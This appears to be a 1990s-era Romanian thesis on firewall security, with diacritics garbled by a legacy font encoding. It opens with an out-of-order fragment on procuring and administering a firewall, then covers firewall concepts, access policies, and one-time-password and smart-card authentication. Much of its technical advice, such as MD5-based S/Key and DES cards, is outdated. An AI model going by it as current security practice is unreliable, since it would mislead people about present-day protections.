Produsul supus test[rii nu trebuie s[ poat[ fi f[cut , @n mod trvial , neoperabil, @n urma unor atacuri de tip "refuz al serviciului " (atacuri care au drept scop @ngreunarea sau interzicerea folosirii de c[tre utilizatorii interni sau externi a unora din serviciile de la subcapitolul 6.2.1 ), cu urm[toarele dou[ excep\ii : – produsul are un mecanism sigur de dezactivare (de scoatere din execu\ie , de ]tergere din memorie ), document pe care @l va folosi automat @n momentul @n care vor fi @n deplinite anumite condi\ii stabilite prin politica de securitate;
dac[ pentru un atac de tip " refuz al serviciului" este unanim recunoscut c[ nu exist[ mijloace de contracarare , atunci produsul trebuie s[ aib[ mijloace pentru ca , @nainte de a se dezactiva , s[ poat[ alerta personalul administrativ ]i s[ jurnalizeze evenimentul.
6.3 Procurarea unui firewall
#n procurarea unui firewall exist[ urm[toarele alternative:
– construirea unui firewall cu mijloace proprii ]i/sau folosind software disponibil gratuit @n INTERNET;
cump[rarea unui produs firewall "la cheie" , certificat (recomandabil).
#n vederea lu[rii deciziei de a cump[ra sau dea construi un firewall , r[spunsurile la urm[toarele @ntreb[ri pot ajuta o organiza\ie @n a-]i da seama dac[ are resursele necesare pentru a-l construi:
Cum se va verifica dac[ firewall-ul respect[ cerin\ele func\ionale?
Cum va fi testat firewall-ul @mpotriva diferitelor feluri de atacuri?
Cine, cum ]i cu ce mijloace va executa @ntre\inerea general[ a sistemului firewall ( salv[ri, restaur[ri, repara\ii) ?
Cine ]i cum va instala componentele noi sau eventualele versiuni actualizate de firewall?
Vor putea fi rezolvate eventualele probleme de securitate @ntr-un timp scurt?
Cine , cum ]i cu ce mijloace va asigura instruirea utilizatorilor?
6.4. Administrarea unui firewall
Un firewall este la fel de bun c`t este de bun[ administrarea sa . Dac[ un firewall nu este men\inut corespunz[tor , atunci el poate deveni nesigur , permi\`nd eventualele penetr[ri ]i, @n acela]i timp , furniz`nd iluzia c[ re\eua este protejat[.
Politica de securitate @n re\ea trebuie s[ reflecte , @n mod clar , importan\a unei administr[ri profesioniste (de caliatate a firewall-ului ).
Pentru o administrare eficient[ a sistemelor din re\ea se recomand[ urm[toarele:
standardizarea software-ului utilizat, @n general, ]i a versiunilor de sistem de operare , @n particular;
instruirea unui program pentru instalarea eficient[ @n re\ea a noilor pachete software;
studierea posibilit[\ii de a realiza o administrare centralizat[ a sistemelor, calitativ superioar[ celei distribuite ]i care s[ ofere un nivel de securitate mai bun;
inspectarea periodic[ a sistemelor gazd[, @n vederea detect[rii eventualelor vulnerabilit[\i ]i erori de configurare;
asigurarea unor posibilit[\i eficiente de comunicare @ntre administratorii de sistem ]i administratorul de securitate (de firewall) , @n ceea ce prive]te problemele legate direct sau indirect de securitatea @n re\ea.
=== SECURI~1 ===
CUPRINS
INTRODUCERE………………………………………………..…… 2
Securitatea prin firewall………………………………………..…. 3
1. Conceptul de firewall……………………………………….. 3
2. Avantajele folosirii unui firewall ………………………….. 4
3. Dezavantajele folosirii unui firewall ………………………. 7
4. Componentele unui firewall ……………………………….. 9
4.1 Politica de control al accesului la servicii …..…. 9
4.2 Mecanismele avansate de autentificare ………… 11
4.3 Filtrarea pachetelor………………………………. 15 4.4 Sisteme proxy si portile la nivel aplicatie……………….. 26 4.5Sisteme gazda-bastion…………………..…………………. 29
5. Exemple de arhitecturi firewall………………………………… 32
5.1 Arhitectura firewall de tip filtru de pachete………… 32
5.2. Arhitectura firewall de tip sistem gazda dual ……… 33
5.3 Arhitectura firewall de tip sistem gazda-bastion protejat …… 35
Arhitectura firewall de tip subretea protejata ……….…36
Integrarea intr-o arhitectura firewall a unui server de acces in retea prin modem …………………………………….. 37
6. Implementarea securitatii prin firewall …..…………………… 38
Definirea politicii de securitate prin firewall ………….39
Definirea cerintelor de functionalitate si securitate pentru un firewall ………………………………………………. 41
Cerinte functionale …………………………. 43
Cerinte de securitate ……………………….. 44
Procurarea unui firewall ………………………………. 45
Administrarea unui firewall ……………………………45
Examinarea sistematic[ a securit[\ii unei re\ele ………………….. 47
Testarea propriului sistem ………………………………. 47
Examinarea DNS …………………………………… 49
Examinarea Sendmail ………………………………. 52
Ob\inerea unor informa\ii despre sistem …………… 57
Programe pentru testarea securit[\ii ……………………. 62
COPS ……………………………………………… 62
SATAN ……………………………………………. 63
ISS ………………………………………………… 65
BIBLIOGRAFIE …………………………………………………… 66
INTRODUCERE
INTERNET reprezint[ cel mai mare proiect informatic de interconectare uman[ creat vreodat[ pe p[m`nt. INTERNET este o structur[ deschis[ , la care se poate conecta un num[r mare de calculatoare , fiind deci greu de controlat . De aceea putem vorbi de vulnerabilitatea re\elelor , manifestat[ pe variate planuri . Un aspect crucial al re\elelor de calculatoare , @n special al comunica\iilor pe INTERNET , @l constituie securitatea informa\iilor. Nevoia de securitate ]i autentificare apare la toate nivelurile arhitecturale ale re\elelor. De exemplu utilizatorii vor s[ se asigure c[ po]ta electronic[ sose]te chiar de la persoana care pretinde a fi expeditorul. Uneori, utilizatorii, mai ales c`nd ac\ioneaz[ @n numele unei firme, doresc asigurarea caracterului confidn\ial al mesajelor transmise. Pe de alt[ parte ,la nivel sc[zut, por\ile (gateways) ]i ruter-ele trebuie s[ discearn[ @ntre calculatoarele autorizate ]I cele intruse. #n aceste condi\ii, securitatea informatic[ a devenit una din componentele majore ale INTERNET-ului.
Aceast[ lucrare @]i propune ad`ncirea problemelor specifice securit[\ii re\elelor , @n special cele referitoare la riscurile conect[rii @n INTERNET. Sunt prezentate diferite solu\ii de izolare a re\elelor interne prin firewall . Se mai abordeaz[ ]I multe probleme specifice practicii securit[\ii informatice , @n special cele cu care se confrunt[ administratorii de sisteme ]I re\ele.Prezint[ unele instrumente ]I metode de testare a securit[\ii unei re\ele de c[tre administratorul ei. Examinarea securit[\ii poate fi variat[ , merg`nd de al analiza DNS p`n[ la folosirea utilitarelor finger , rpcinfo , showmount ]I NIS , pentru colectarea informa\iilor despre calculatoare ]I utilizatori , sau a unor programe speciale , SATAN ]I ISS , pentru scanarea re\elei.
Securitatea prin firewall
Termenul firewall provine din industria construc\iilor civile. Multe din cl[dirile moderne au @n structura lor firewalls-pere\i special construi\i , rezisten\i la foc care, @n cazul izbucnirii unui incendiu ,au rolul de a impiedica sau @ncetini r[sp`ndirea focului , p`n[ la sosirea pompierilor . Termenul a migrat ]i @n construc\ia de ma]ini , unde un firewall separ[ compartimentul motorului unei ma]ini de habitaclu , pentru a proteja pasagerii .
Pentru ]tiin\a calculatoarelor , probabil c[ cel mai u]or este s[ descriem , mai @nt`i, ceea ce un firewall nu este : un firewall nu este un simplu ruter sau un calculator gazd[ care asigur[ securitatea unei re\ele. #n linii mari , un firewall (numit uneori ]i pasarel[ de securitate) este un sistem care impune o politic[ de control al accesului @ntre dou[ re\ele .Un firewall reprezint[ implementarea acestei politici @n termeni de configurare a re\elei, unul sau mai multe sisteme gazd[ ]i ruter-e cu func\iuni speciale, alte m[suri de securitate , cum ar fi autentificarea prin metode criptografice a clien\ilor.
Conceptul de firewall
Un firewall este un sistem ( o colec\ie de componente ) , plasat @ntre dou[ re\ele , care posed[ urm[toarele propriet[\i :
tot traficul dinspre interior spre exterior ]i vice-versa trebuie s[ treac[ prin acesta;
este permis[ trecerea numai a traficului autorizat prin politica local[ de securitate;
sistemul @nsu]i este imun la @ncerc[rile de penetrare a securit[\ii acestuia;
Cu alte cuvinte , un firewall este un mecanism folosit pentru a proteja o re\ea sigur[ din punctul de vedere al securit[\ii de una nesigur[ ,@n care nu putem avea @ncredere . #n mod tipic , una din re\ele este cea intern[ unei organiza\ii (sigur[, de @ncredere), @n timp ce cealalt[ este INTERNET-ul (@n care nu avem @ncredere din punctul de vedere al securit[\ii). Ultimele statistici referitoare la INTERNET arat[ c[ @n compunerea sa intr[ peste 50.000 de re\ele, cu un total de peste 2,5 milioane de sisteme gazd[ , cre]terea fiind estimat[ la 4.000 mii de noi domenii ]i 150.000 de noi sisteme gazd[ pe lun[. Dat fiind num[rul ]i mai mare de utilizatori – mul\i dintre ace]tia av`nd , din nefericire , statutul de hacker(cracker sau vandal)- folosirea unui firewall are sens , deoarece probabilitatea *izbucnirii unui foc * undeva @n INTERNET este foarte mare.
De]i cele mai multe firewall-uri sunt, @n mod curent, interpuse @ntre re\elele interne ]i INTERNET, conceptul de firewall nu vizeaz[ numai acest aspect , exist`nd suficiente motive pentru folosirea firewall-urilor @n oricare internet, inclusiv @n re\elele cu arie larg[ (WAN) ale diferitelor companii . Deoarece un firewall este dispus la intersec\ia dintre doua re\ele, acesta poate fi folosit ]i @n alte scopuri dec`t acela de control al accesului:
pentru a monitoriza comunica\iile dintre o re\ea intern[ ]i re\ea extern[ .De exemplu , un firewall poate jurnaliza (monitoriza, @nregistra) serviciile folosite ]i cantitatea de date transferat[ prin conexiuni TCP/IP @ntre propria organiza\ie ]i lumea exterioar[;
un firewall poate fi folosit pentru interceptarea ]i @nregistrarea tuturor comunica\iilor dintre re\eaua intern[ ]i exterior. O linie @nchiriat[ , care permite viteze de p`n[ la 128 Kbps , @n condi\iile @n care ar fi folosit[ 100% din timp , ar transfera zilnic circa 1,4 GB , ceea ce ar permite ca traficul pe c`teva zile s[ @ncap[ pe o singur[ band[ magnetic[ digital[ de 8mm;
dac[ o organiza\ie are mai multe re\ele, separate din punct de vedere geografic , fiecare av`nd c`te un firewall, exist[ posibilitatea program[rii acestor firewall-uri pentru a cripta automat con\inutul pachetelor transmise @ntre ele . #n acest fel ,pe suportul INTERNET ,organiza\ia @]i poate realiza propria re\ea virtual[ privat[.
2 . Avantajele folosirii unui firewall
Argumentul principal pentru folosirea unui firewall este c[, f[r[ acesta, o re\ea este expus[ riscurilor folosirii unor servicii inerent lipsite de securitate ( cum ar fi NFS sau NIS) ]i @ncerc[rilor de penetrare ini\iale de la orice sta\ie din afara acesteia .
#ntr-un mediu f[r[ firewall , securitatea re\elei se bazeaz[ exclusiv pe securitatea calculatoarelor gazd[, fiind necesar ca toate acestea s[ coopereze pentru realizarea unui nivel @nalt ]i uniform de securitate a re\elei . Cu c`t re\eaua devine mai larg[ , cu at`t este mai greoaie administrarea calculatoarelor gazd[ @n scopul men\inerii lor la acela]i nivel (@nalt) de securitate. Pe masur[ ce gre]elile ]i lipsurile @n ceea ce prive]te securitatea re\elei devin tot mai obi]nuite ,penetr[rile au loc nu ca rezultat al unor atacuri complexe ci, mai ales, datorit[ erorilor de configurare sau alegerii inadecvate a parolelor.
Op\iunea de realizare a securit[\ii prin firewall furnizeaz[ numeroase avantaje re\elelor , ajut`nd ]i la cre]terea nivelului de securitate a calculatoarelor gazd[ componente . Prezent[m @n continuare principalele avantaje ale folosirii unui firewall.
Protec\ia serviciilor vulnerabile
Un firewall poate contribui la cre]terea nivelului de securitate al unei re\ele , reduc`nd riscurile la care aceasta este supus[ , prin filtrarea serviciilor care sunt @n mod inerent nesigure. De exemplu, un firewall poate bloca intrarea sau ie]irea dintr-o re\ea protejat[ a unor servicii vulnerabile , cum ar fi NFS sau NIS. Se ob\ine astfel avantajul prevenirii expoat[rii vulnerabilit[\ilor acestora din exteriorul re\elei ]i, @n acela]i timp , avantajul folosirii lor @n interior, cu un grad de risc mult mai redus.
Un firewall poate ,de asemenea, s[ asigure protec\ia fa\[ de atacurile bazate pe exploatarea vulnerabilit[\ilor mecanismului de dirijare a pachetelor @n INTERNET . De exemplu, la @ncerc[rile de schimbare a rutelor de c[tre destina\ii compromise , prin intermediul pachetelor de redirectare ICMP , firewall-ul poate rejecta aceste pachete ]i poate informa administratorul de re\ea despre incident.
Impunerea unei politici a accesului la re\ea
Un firewall furnizeaz[ mijloace de control al accesului @ntr-o re\ea privat[. Unele calculatoare gazd[ pot fi f[cute accesibile din exterior , @n timp ce altele pot fi protejate efectiv fa\[ de accesele nedorite. De exemplu, o organiza\ie poate interzice accesul din exterior c[tre calculatoarele din re\eaua proprie , cu excep\ia celor care asigur[ serviciile de po]t[ electronic[ ]i cele informa\ionale.
Un firewall asigur[, deci, mijloace pentru implementarea ]i impunerea unei politici a accesului @n re\ea, furniz`nd un control asupra serviciilor disponibile ]i accesului utilizatorului la acestea. Astfel, o politic[ a accesului @n re\ea poate fi impus[ printr-un firewall ,@n timp ce, f[r[ un firewall , o astfel de politic[ ar depinde @n @ntregime de cooperarea @ntre utilizatori.O organiza\ie se poate baza pe proprii utilizatori @n ceea ce prive]te cooperarea dintre ei , dar nu poate face acela]i lucru relativ la to\i utilizatorii din INTERNET.
Concentrarea securit[\ii
Pentru securitatea @n re\ea , un firewall poate fi o solu\ie mai pu\in costisitoare , @n sensul c[ programul care trebuie modificat ]i software-ul adi\ional de securitate pot fi localizate @n sistemul firewall ( @n totalitate sau @n cea mai mare parte ) , spre deosebire de situa\ia @n care acestea ar fi fost distribuite pe toate calculatoarele gazd[ . Folosirea altor solu\ii pentru securitatea @n re\ea , de exemplu Kerberos , implic[ modific[ri la fiecare sistem gazd[ . #n timp ce Keberos ]i alte tehnici au avantajele lor (care le fac mai indicate @n anumite situa\ii), firewall-urile tind s[ fie mai u]or de implementat ]i administrat , software-ul specializat execut`ndu-se numai pe ele.
#nt[rirea caracterului privat al informa\iei care circul[ prin re\ea
Caracterul privat al informa\iei este o preocupare major[ pentru unele companii , deoarece informa\ia considerat[ @n mod normal nesenzitiv[ ( nesecret[) poate con\ine secven\e folositoare pentru un eventual atacator. Folosind un firewall , se pot bloca servicii cum ar fi finger sau DNS(Domain Name Service) , de exemplu.
Serviciul finger afi]eaz[ informa\ii despre utilizatori, cum ar fi data ultimului acces, dac[ ]i-au citit po]ta electronic[ ]i altele. #n acela]i timp @ns[ ,finger furnizeaz[ atacatorilor informa\ii despre c`t de des este folosit un sistem, dac[ sistemul are utilizatori activi la un moment dat ]i dac[ poate fi atacat f[r[ a atrage aten\ia.
Firewall -urile pot fi folosite , de asemenea , pentru a bloca ie]irea @n exterior a informa\iei DNS referitoare la sistemele gazd[ interne, numele ]i adresele IP asociate acestora nefiind disponibile celorlalte din INTERNET . Se ascunde astfel o informa\ie care ar putea fi folositoare atacatorilor.
Monitorizarea ]i realizarea de statistici cu privire la folosirea re\elei
Dac[ @ntregul trafic spre/dinspre INTERNET trece printr-un firewall , atunci exist[ posibilitatea monitoriz[rii acestuia ]i furniz[rii de statistici cu privire la folosirea re\elei. Colectarea de date privitoare la @ncercarile de atac asupra re\elei permite verificarea rezisten\ei firewall-ului la asemenea @ncercari ,iar realizarea de statistici este folositoare pentru analizarea riscurilor ]i pentru studiile de dezvoltare a re\elei.
Dezavantajele folosirii unui firewall
#n afara avantajelor folosirii unui firewall exista , de asemenea, o serie de dezavantaje ]i un num[r de probleme de securitate nu pot fi rezolvate prin intermediul acestuia. #nc[ de la @nceput trebuie re\inut faptul c[ un firewall nu este un panaceu universal pentru rezolvarea tutror problemelor de securitate ale re\elelor conectate la INTERNET.
Restric\ionarea accesului la unele servicii
Cel mai evident dezavantaj al folosirii unui firewall este c[ acesta impune , de cele mai multe ori, restric\ionarea accesului la unele servicii considerate vulnerabile , servicii care sunt @ns[ solicitate intens de utilizatori ( de exemplu, TELNET, FTP , X , WINDOW, NFS etc.). Uneori , politica de securitate @n re\ea a organiza\iei poate impune chiar blocarea acestora. Totu]i, acest dezavantaj nu este specific numai unui firewall , accesul la anumite servicii put`nd fi restric\ionat la fel de bine ]i la nivelul calculatoarelor gazd[, @n func\ie de politica de securitate a unei organiza\ii . O politic[ de securitate bine planificat[ , care pune @n balant[ at`t certin\ele de securitate @n re\ea, c`t ]i nevoile utilizatorilor, poate duce la reducerea problemelor aduse de restric\ionarea accesului la unele servicii .
Unele re\ele pot avea o topologie ce nu impune necesitatea existen\ei unui firewall sau poate folosi unele servicii , cum ar fi NFS , @ntr-o astfel de manier[ @nc`t utilizarea unui firewall ar necesita o restructurare major[ a re\elei. #ntr-o astfel de situa\ie , costul ad[ug[rii unui firewall ar trebui s[ fie comparat cu costul accept[rii vulnerabilit[\ilor @n condi\iile lipsei acestuia , printr-o analiz[ a riscurilor.
Poten\ialul ridicat pentru existen\a unor “ u]i secrete”
Un firewall nu poate proteja @mpotriva unor * u]i secrete * ( back doors) existente @ntr-o re\ea , cum ar fi , de exemplu , permiterea nerestric\ionata a accesului prin modem la unele dintre sistemele gazd[ interne.
Vitezele de transmitere ale modem-urilor actuale sunt suficient de mari pentru a face practic[ folosirea protocoalelor SLIP sau PPP . O conexiune SLIP sau PPP @ntr-o re\ea protejat[ este , @n esen\[, un poten\ial back door, care face inutil[ folosirea unui firewall.
C). Protec\ia sc[zut[ fa\[ de atacurile ce provin din interior
#n general , un firewall nu asigur[ o protec\ie fa\[ de amenin\[rile interne. Dac[ poate fi proiectat astfel @nc`t s[ previna scurgerea de informa\ii secrete spre exterior , un firewall nu poate opri o persoan[ din interiorul re\elei de a copia aceste informa\ii pe o dischet[ ]i a le furniza apoi celor interesa\i . De aceea , este gre]it s[ presupunem c[ existen\a unui firewall asigur[ protec\ia fa\[ de atacurile din interior sau fa\[ de atacurile care nu au nevoie s[ treaca prin acesta. Este total nerecomandat[ investirea de resurse importante @ntr-un firewall , dac[ celelalte modalita\i posibile pentru furtul datelor sau pentru atac @mpotriva sistemului sunt neglijate .
Alte probleme:
Serviciile WWW- Noile servicii de informare ]i clien\ii acestora , cum ar fi WWW, gopher, WAIS, nu au fost proiectate pentru a se integra u]or @n politicile de firewall ]i , datorit[ nouta\ii lor , folosirea acestora este , @n general, considerat[ riscant[. Atacul poten\ial este acela prin intermediul instruc\iunilor ]i datelor trimise spre procesare clien\ilor , de exemplu instruc\iuni pentru efectuarea de modific[ri @n fi]ierele care au legatur[ direct[ cu problemele de securitate ]i de control al accesului 1 pe calculatorul gazd[;
Viru]ii – Firewall -urile nu pot proteja @mpotriva utilizatorilor care aduc local , din arhivele INTERNET , prin intermediul FTP sau ca ata][ri la e-mail, programe infectate de viru]i. Din cauza c[ aceste programe pot fi criptate sau comprimate @n mai multe moduri , un firewall nu le poate *scana * @n scopul identific[rii semn[turilor virale . Aceast[ problem[ a programelor infectate r[m`ne ]i va trebui rezolvat[ prin alte politici ]i/sau prin controale antivirale;
Viteza de comunica\ie cu exteriorul – Un firewall reprezint[ o poten\ial[ g`tuire pentru traficul care intr[/iese @n/din re\ea. Totu]i , aceasta nu constituie o problem[ @n re\elele legate cu exteriorul prin linii de mare vitez[;
Fiabilitatea – O re\ea protejat[ prin firewall @]i concentreaz[ securitatea @ntr-un singur loc , spre deosebire de varianta distribuirii securit[\ii @ntre mai multe sisteme . O compromitere a firewall -ului poate fi dezastruoas[ pentru celelalte sisteme ( mai pu\in protejate) din re\ea . Acestui dezavantaj i se poate opune argumentul c[ incidentele de securitate apar , mai degrab[ , pe masur[ ce num[rul de sisteme din re\ea cre]te , iar distribuirea securit[\ii @ntre acestea multiplic[ modalit[\ile @n care re\eaua poate fi atacat[ .
#n ciuda tuturor acestor probleme ]i dezavantaje , se recomand[ ca protejarea resurselor unei re\ele s[ se fac[ at`t prin intermediul firewall-urilor , c`t ]i al altor mijloace ]i tehnici de securitate .
Componentele unui firewall
Componentele fundamentale ale unui firewall sunt:
politica de control al accesului la servicii;
mecanismele avansate de autentificare;
filtrarea pachetelor;
serviciile proxy ]i por\ile la nivel aplica\ie ( application level gateway);
sistemele gazd[-bastion.
#n continuare , vom descrie fiecare dintre aceste componente:
Politica de control al accesului la servicii
Exist[ doua niveluri ale politicii de control al accesului la servicii , care influen\eaz[ direct proiectarea , instalarea ]i folosirea unui sistem firewall:
politica de acces la serviciile re\elei;
politica de proiectere a firewall-ului.
Politica de nivel superior define]te acele servicii ale re\elei care vor fi explicit permise sau refuzate , cum vor fi folosite acestea ]i condi\iile @n care vor putea exista excep\ii. Politica de nivel inferior descrie modul @n care firewall-ul va restric\iona accesul ]i va filtra serviciile definite prin politica de nivel superior .
Politica de acces la servicii trebuie s[ se concentreze asupra problemelor de utilizare specifice INTERNET-ului ]i asupra conexiunilor cu exteriorul (linii telefonice comutate , conexiuni SLIP sau PPP ) . Aceast[ politic[ trebuie s[ fie o extensie a politicii generale a organiz\iei cu privire la protec\ia resurselor informa\ionale. Pentru ca un firewall s[ aib[ succes , politica de acces la servicii trebuie s[ fie realist[ ]i trebuie schi\at[ @naintea implement[rii efective a acestuia. O politic[ realist[ este aceea care asigur[ un echilibru @ntre protejarea re\elei fa\[ de anumite riscuri cunoscute ]i asigurarea accesului utilizatorilor la resursele re\elei.
Un firewall poate implementa o varietate de politici de acces la servicii:
una tipic[ este aceea de a interzice accesul din INTERNET @n re\eaua proprie ]i de a-l permite pe cel din interior spre INTERNET;
o alta politic[ tipic[ este cea @n care se permite accesul din INTERNET, dar numai pe anumite sisteme (selectate ) , cum ar fi server-ele de informa\ii sau de po]t[ electronic[;
firewall-urile implementeaz[ uneori politici care permit accesul din INTERNET pe anumite sisteme gazd[ , dar numai @n cazuri absolut necesare ]i numai @n condi\iile folosirii mecanismelor avansate de autentificare.
Politica de proiectare a firewall -ului define]te regulile folosite pentru implementarea politicii de acces la servicii , \in`nd cont de capabilit[\ile ]i limitele unui firewall , precum ]i de amenin\[rile ]i vulnerabilit[\ile asociate cu INTERNET-ul ]i suita de protocoale TCP/IP . Proiectarea sistemelor firewall are la baz[ una din urmatoarele dou[ sub-politici:
ceea ce nu este interzis @n mod explicit este permis;
ceea ce nu este permis @n mod explicit este interzis.
Un firewall proiectat dup[ prima sub-politica permite @n mod implicit existen\a tuturor serviciilor, cu excep\ia acelora dezactivate prin politica de acces . Un firewall proiectat dup[ cea de-a doua sub-politic[ interzice @n mod implicit toate serviciile , permit`ndu-le doar pe acelea care au fost expres permise prin politica de acces. Cea de-a doua sub-politic[ urmeaz[ modelul *clasic* , folosit @n toate domeniile securit[\ii informatice .
Prima sub-politic[ este mai pu\in oportuna , deoarece ofer[ unele posibilit[\i de a *ocoli* firewall-ul. Utilizatorii pot folosi servicii nou ap[rute ( @nc[ neidentificate ]i, eventual, neinterzise prin politica de acces) sau pot folosi servicii interzise , utiliz`nd port-uri TCP/UDP nestandard .Anumite servicii , cum ar fi X Windows ,FTP, Archie ]i RPC , nu pot fi filtrate u]or , *acomod`ndu-se* mai bine cu un firewall proiectat dup[ prima sub-politic[ . Cea de-a doua sub-politic[ este mai puternic[ ]i mai sigur[ , dar este mai dificil de implementat , serviciile de mai sus put`nd fi blocate sau restric\ionate mai greu .
Discu\ia de mai sus reflect[ rela\ia dintre politica de acces la servicii de la nivelul @nalt la perechea sa -politica de proiectare a firewall-ului-de la nivelul inferior.Rela\ia exist[ pentru c[ implementarea primeia este puternic dependent[ de capabilit[\ile ]i limit[rile unui sistem firewall ]i de problemele de securitate inerente serviciilor din INTERNET. De exemplu , servicii solicitate , definite @n politica de acces , ar putea fi @n final interzise dac[ problemele de securitate inerente acestora nu pot fi controlate prin politica de la nivelul inferior. Pe de alt[ parte, o organiza\ie puternic dependent[ de aceste servicii @n @ndeplinirea scopurilor sale poate accepta riscuri mai mari ]i permite accesul la aceste servicii. Aceast[ rela\ie dintre cele dou[ politici este , de fapt , un proces iterativ de definire a lor , @n final rezult`nd o politic[ realist[ de control al accesului la servicii .
Politica de acces la servicii este cea mai importanta dintre componentele enumerate anterior , refect`nd politica general[ de securitate a organiza\iei. Celelalte componente sunt folosite pentru a implementa ]i a impune aceast[ politic[ . Eficien\a unui sistem firewall @n protejarea unei re\ele depinde de politica de acces la servicii, de politica de proiectare folosit[ ]i de alegerea unei arhitecturi firewall corespunzatoare.
Mecanismele avansate de autentificare
Exist[ numeroase incidente petrecute @n INTERNET , ca urmare a vulnerabilit[\ilor existente @n folosirea traditional[ a parolelor. #n general, utilizatorii sunt sf[tui\i cum s[-]i aleaga parole din ce @n ce mai greu de ghicit, pe care s[ nu le dezv[luie altor persoane . Chiar dac[ urmeaz[ acest sfat, faptul c[ , la cerere, parolele sunt transmise @n clar prin re\ea ]i c[ traficul din INTERNET poate fi monitorizat cu u]urin\[ face ca acest sistem s[ fie dep[]it.
Mecanismele avansate de autentificare , cum ar fi cartelele inteligente, jetoanele de autentificare , tehnicile biometrice ]i mecanismele bazate pe software sunt destinate cotracar[rii sl[biciunulor sistemului tradi\ional al parolelor. De]i mecanismele avansate de autentificare sunt diferite , ele sunt similare @n ceea ce priveste faptul c[ parolele pe care le genereaz[ nu pot fi refolosite de c[tre un atactor care a monitorizat conexiunea – ele fiind de unic[ folosin\[. #n condi\iile problemelor inerente sistemului tradi\ional al parolelor , apreciem c[ nu are sens existen\a unui firewall care nu folose]te aceste mecanisme avansate.
Deoarece un firewall centralizeaz[ ]i controleaz[ accesul @ntr-o re\ea , acesta este locul unde , @n mod logic, trebuie s[ se afle software-ul sau hardware-ul pentru autentificare. De]i mecanismele avansate de autenrificare pot fi folosite pe fiecare sistem gazd[, este mai economic[, mai practic[ ]i mai u]or de administrat varianta centraliz[rii acestora prin firewall .
Scopul principal al unui firewall este de a furniza servicii INTERNET sigure pentru utilizatorii din interiorul re\elei protejate. Exist[ @ns[ situa\ii c`nd este necesar[ furnizarea de servicii ]i pentru utilizatorii din exterior. Aceste servicii sunt de dou[ tipuri: anonime (de exemplu anonymus FTP ) ]i cele care cer autentificare.
Serviciile anonime nu necesit[ o tratare special[ din punctul de vedere al unui firewall . De obicei, @n interiorul firewall -ului va rula server-ul pentrul serviciul anonim respectiv , iar accesul la acel server va fi permis prin mijloacele normale de control ( de exemplu filtrarea de pachete );
Serviciile “autentificate” sunt furnizate mai ales pentru a da posibilitatea propriilor utilizatori s[ se conecteze la sistemele gazd[ interne, de undeva din exteriorul re\elei. Problema major[ care apare , fa\[ de cazul serviciilor pentru utilizatorii din interior , este autentificarea fals[.
Prezent[m ,@n continuare, cateva mecanisme avansate de autentificare , bazate fie pe parole utilizabile o singur[ dat[ ,fie pe cartelele inteligente.
Parole de unic[ folosin\[
Exist[ dou[ modalit[\i de func\ionare a unui sistem cu parole utilizabile o singur[ dat[ (one-time passwords ):
lista de parole este generat[ aleator , iar sistemul ]i utilizatorul p[streaz[ c`te o copie;
o anume intrare din list[ este generat[ de utilizator la cerere ]i validat[ de sistem.
Problema @n primul caz este c[ , dac[ cineva ob\ine lista memorat[ , o poate folosi pentru autentificari (false) ulterioare.
Un sistem care implementeaz[ a doua solu\ie este S/Key, dezvoltat de Bellcore . S/Key aplic[ iterativ un algoritm criptografic de hash, @ncep`nd cu o valoare ini\ial[. Un algoritm criptografic de hash produce , dintr-un mesaj de lungime arbitrar[ , un mesaj mult mai scurt (@n genul unei sume de control) , av`nd urmatoarele propriet[\i:
intatrea nu poate fi ob\inut[ din ie]ire;
probabilitatea ca dou[ intr[ri diferite s[ produc[ acela]i rezultat este foarte mic[.
S/Key utilizeaz[ un astfel de algoritm , numit MD5 (MD4 sau SHA @n unele implement[ri ) . Pornind de la o s[m`n\a , S/Key aplic[ iterativ MD5 ]i ob\ine o secven\[ de chei: prima cheie se ob\ine din s[m`n\a , a doua din prima cheie etc. Sistemul memoreaz[ la un moment dat o singur[ cheie din list[ (ultima cheie generat[) ]i indicele acesteia (n). Pentru validare , utilizatorului i se cere s[ introduca o anumit[ cheie (n-1); sistemul aplic[ MD5 r[spunsului primit ]i @l compar[ cu cheia memorat[. Dac[ cele dou[ coincid , utilizatorul este autentificat ]i sistemul memoreaz[ cheia (n-1) primit[ de la acesta . Algoritmul MD5 fiind ireversibil , nu poate fi dedus[ cheia (n-1) din cheia n, deci furtul cheii memorate nu ajut[ la nimic.
Un tip special de parole utilizabile o singur[ dat[ @l reprezint[ parolele bazate pe timp. #ntr-un astfel de sistem , parola se modific[ dup[ c`teva minute, dup[ un algoritm cunoscut de sistem ]i de instrumentul de autentificare al utilizatorului. Acest instrument este , de obicei, o cartel[ inteligent[. Security Dinamics implementeaz[ un astfel se sistem , numit Secur/D . Un algoritm posibil este criptarea timpului curent cu o cheie cunoscut[ de sistem ]i programat[ @n memoria cartelei.
Cartele inteligente
Un alt mecanism de autentificare @l reprezint[ *r[spunsul la provocare* (challenge-response). Principiul dup[ care func\ioneaz[ mecanismul este urmatorul:
utilizatorul @si introduce numele de login;
sistemul genereaz[ un num[r aleator (provocarea ) ]i @l trimite utilizatorului;
utilizatorul cripteaza provocarea cu o cheie cunoscut[ ]i de sistem (stabilit[ dinainte) ]i trimite rezultatul;
sistemul cripteaza , la r`ndul s[u , num[rul aleator cu cheia corespunzatoare numelui introdus de utilizator ]i compar[ cu r[spunsul primit. #n caz de coinciden\[, utilizatorul este acceptat @n sistem.
Un astfel de sistem este SNK-004,produs de Digital Pathways. Sistemul folose]te o cartel[ inteligent[ pentru a memora cheia utilizatorului ]i a implementa algoritmul de criptare DES. Pentru a utiliza o astfel de cartel[ , utilizatorul trebuie s[ introduc[ un PIN (Personal Identification Number) , @nscris @n memoria acesteia.
Sistemele prezentate pot fi implementate ]i pe un server de autentificare. Existen\a unui server de autentificare reprezint[ o abordare diferit[ fa\[ de cea clasica, @n care programele (cum ar fi login sau ftpd ) implementau efectiv ]i autentificarea, fiind obligate s[ ]tie ]i metoda prin care se realiza aceasta. Dac[ la un moment dat se dorea schimbarea metodei de autentificare sau ad[ugarea uneia noi, atunci era necesar[ modificarea tuturor acelor programe . Server-ul de autentificare face necesar[ o singur[ dat[ modificarea acestor programe- pentru a ]ti cum s[ comunice cu server-ul . Pentru autentificare , un program client va parcurge urm[torii pa]i:
prime]te de la utilizator numele de login;
contacteaz[ server-ul de autentificare ]i @i comunic[ acest nume;
server-ul comunic[ programului client ce anume s[ cear[ utilizatorului;
trimite server-ului r[spunsul primit de la utilizator;
prime]te de la server rezultatul autentific[rii ]i afi]eaz[ un mesaj corespunz[tor.
Filtrarea pachetelor
